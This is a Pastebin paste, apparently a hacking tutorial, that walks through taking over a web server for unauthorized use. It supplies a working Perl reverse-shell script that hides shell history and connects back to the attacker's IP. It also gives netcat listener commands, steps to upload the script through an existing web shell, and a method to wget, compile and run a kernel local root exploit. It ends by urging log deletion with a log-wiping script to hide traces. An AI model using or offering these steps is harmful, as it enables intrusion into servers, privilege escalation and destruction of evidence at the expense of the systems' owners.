Advertisement
HackMe

Rooting a Webserver

Dec 15th, 2014
564
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.45 KB | None | 0 0
  1. Rooting a Webserver
  2.  
  3. In this guide, I will teach you how to root a web server.
  4. Before we start, you will have to forward port 1337 & download netcat.
  5.  
  6. Port 1337 will be used as port on which will our computer communicate with server.
  7.  
  8. Firstly, open text editor and paste following code into it:
  9. Code:
  10. #!/usr/bin/perl
  11. use Socket;
  12. use FileHandle;
  13. $IP = "YOUR IP HERE";
  14. $PORT = 1337;
  15. socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  16. connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
  17. SOCKET->autoflush();
  18. open(STDIN, ">&SOCKET");
  19. open(STDOUT,">&SOCKET");
  20. open(STDERR,">&SOCKET");
  21. system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
  22. echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
  23. system("/bin/sh -i");
  24.  
  25. Now replace "YOUR IP HERE" with your own IP address. Save it as back.pl & close.
  26.  
  27. This script is going to make sure that server makes successful connection with your computer, while netcat accepts.
  28.  
  29. Next, open netcat and type:
  30. Code:
  31. nc -vv -l -p 1337
  32.  
  33. Netcat will now start listening to incoming connections on port 1337.
  34.  
  35. Open up your web browser and navigate to your shell. Upload back.pl and execute it with following command:
  36. Code:
  37. perl ./back.pl
  38.  
  39. Switch back to your Terminal/CMD prompt and see if connection is established.
  40.  
  41. Now, we need to get kernel's version. To obtain this information, execute:
  42. Code:
  43. uname -r
  44.  
  45. It will print out the current kernel's version. From here on, you will have to find "local root exploit" for that kernel on google.
  46.  
  47. After you found it, use wget to download it to current directory. For example:
  48. Code:
  49. wget http://site.com/exploit.c
  50.  
  51. Compile & run it:
  52. In case exploit is already compiled, skip first command.
  53. Code:
  54. gcc exploit.c -o exploit
  55. chmod +x ./exploit
  56. ./exploit
  57.  
  58. After it loads, you should have root access to web server. Check it by typing:
  59. Code:
  60. whoami
  61.  
  62. Result should be "root", if not - something went wrong.
  63.  
  64. Congratz! You have just rooter a web server! From here on, do whatever you want. Whole server is yours.
  65.  
  66. BEFORE you exit, you might want to delete logs and hide your traces much as possible.
  67.  
  68. Download & upload lognuke.pl to web server trough shell. Then, navigate to it trough netcat.
  69.  
  70. Run lognuke.pl and wait till it deletes all logs it can.
  71.  
  72. When you are done with your work, delete back.pl, lognuke.pl & exploit you ran. That would be all.
  73. see more : https://www.facebook.com/Hacker.Guelma24?ref=hl
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement